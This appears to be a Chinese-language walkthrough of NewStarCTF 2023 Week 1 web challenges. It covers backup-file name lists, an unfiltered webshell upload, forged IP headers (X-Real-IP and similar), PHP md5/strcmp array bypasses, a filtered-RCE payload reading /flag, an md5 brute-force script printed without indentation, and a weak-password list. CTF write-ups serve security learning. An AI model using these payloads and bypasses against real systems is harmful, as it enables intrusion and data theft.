WEEK1
web
泄漏的秘密
题目提示泄露了一些敏感信息在Web根目录下
打开后猜测备份压缩文件名,这题的是www.zip
下载后flag在robots.txt和index.php文件里,拼接起来即可
常见备份文件后缀:
.index.php.swp
index.php.swp
index.php.bak
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
www.zip
www.rar
www.zip
www.7z
www.tar.gz
www.tar
web.zip
web.rar
web.zip
web.7z
web.tar.gz
web.tar
wwwroot.rar
web.rar
Begin of Upload
这道题直接上传一句话木马文件即可,没有过滤
Begin of HTTP

直接抓包:

先是让给ctf用get方式传参,随便传一个
然后给secret用post方式从传参,传源代码中隐藏的一个值,要进行base64解码后再传(注意burp发包的时候哟要将请求头改为POST)
第三步将power的值改为ctfer
第四步将User-Agent的值改为NewStarCTF2023
第五步添加一个请求首部Referer: newstarctf.com
最后一步构造一个伪造ip首部 X-Real-IP: 127.0.0.1(试了一下只有这个可以)
Origin 指示了请求来自于哪个站点,只有服务器名,不包含路径信息
Referer 指示了请求来自于哪个具体页面,包含服务器名和路径的详细URL
X-Forwarded-For是告诉服务器当前请求者的最终ip
常见的可替换X-Forwarded-For的首部:
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
True-Client-Ip: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
ErrorFlask
这关实际和Flask模板注入没关系,传入number1和number2即可再页面中找出flag
Begin of PHP

这题有五个关卡:
1、if($_GET[‘key1’] !== $_GET[‘key2’] && md5($_GET[‘key1’]) == md5($_GET[‘key2’]))
很常见,直接用数组绕过
key1[]=1&key2[]=3
2、if(md5($_POST[‘key3’]) === sha1($_POST[‘key3’]))
还是直接用数组绕过
key3[]=3
3、if(strcmp($_GET[‘key4’],file_get_contents(“/flag”)) == 0)
4、if(!is_numeric($_GET[‘key5’]) && $_GET[‘key5’] > 2023)
这里传key5=2024abc就可以了
5、第五个关卡里extract函数的功能是从数组中将变量导入到当前的符号表,简单的说就是将数组的键名转换为变量名,将数组的值转换为变量的值
直接传个flag5=*就可以
R!C!E!

题目的意思是让你找到一个字符串,经过md5加密后的字符串前6位是c4d038
这里就只能写个脚本跑一下
import hashlib
dic="0123456789abcdefghijklmnopqrstuvwxyz"
flag="c4d038"
def md5():
for a in dic:
for b in dic:
for c in dic:
for d in dic:
for e in dic:
t=str(a+b+c+d+e)
md5=hashlib.md5(t.encode('utf-8')).hexdigest()
if(md5[0:6]==flag):
print(t)
return
md5()
跑出一个04p9l
然后命令执行过滤了一些命令,但问题不大
用``替代system函数,用f’l’ag绕过flag
payload password=04p9l&e[v.a.l=echo `c'a't /f'l'ag`;
官方题解:
POST:e[v.a.l=var_dump(file_get_contents($_GET['a']));\
GET:a=/flag
EasyLogin
看了一下官方题解
进入之后是一个登录界面,先随便注册一个账号登进去看看。
进入之后是一个登录界面,先随便注册一个账号登进去看看。
Ctrl
+D
回到 Shell,简单看了下目录结构没有什么东西,只告知了含有一个 admin 用户,按方向上键可以查询Bash历史记录。

发现 Hint,第一句意思是将“newstar”和“newstar2023”这两个密码加入弱密码文件,第二句意思是将将密码设为密码文件中的任意一个。
得知 admin 的密码为弱密码加上newstar newstar2023
后其中的一个。
按CtrlD
或者输入exit
后回车回到登录界面。
试一下newstar``newstar2023
,没登进去,在网上随便搜弱密码,试一些常见的,试出来是000000
,不同的靶机密码可能不一样。
题目采用的弱密码表
123456789
password
newstar
newstar2023
123qwe
qwe123
qwertyuiop
asdfghjkl
zxcvbnm
admin123
admin888
111111
000000
查询历史记录只提示了使用BurpSuite
,尝试抓包。

使用BurpSuite
拦截、开启代理,重新完成一次登录,发现一个/passport
的 302 跳转,查看它的响应获取 flag.

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。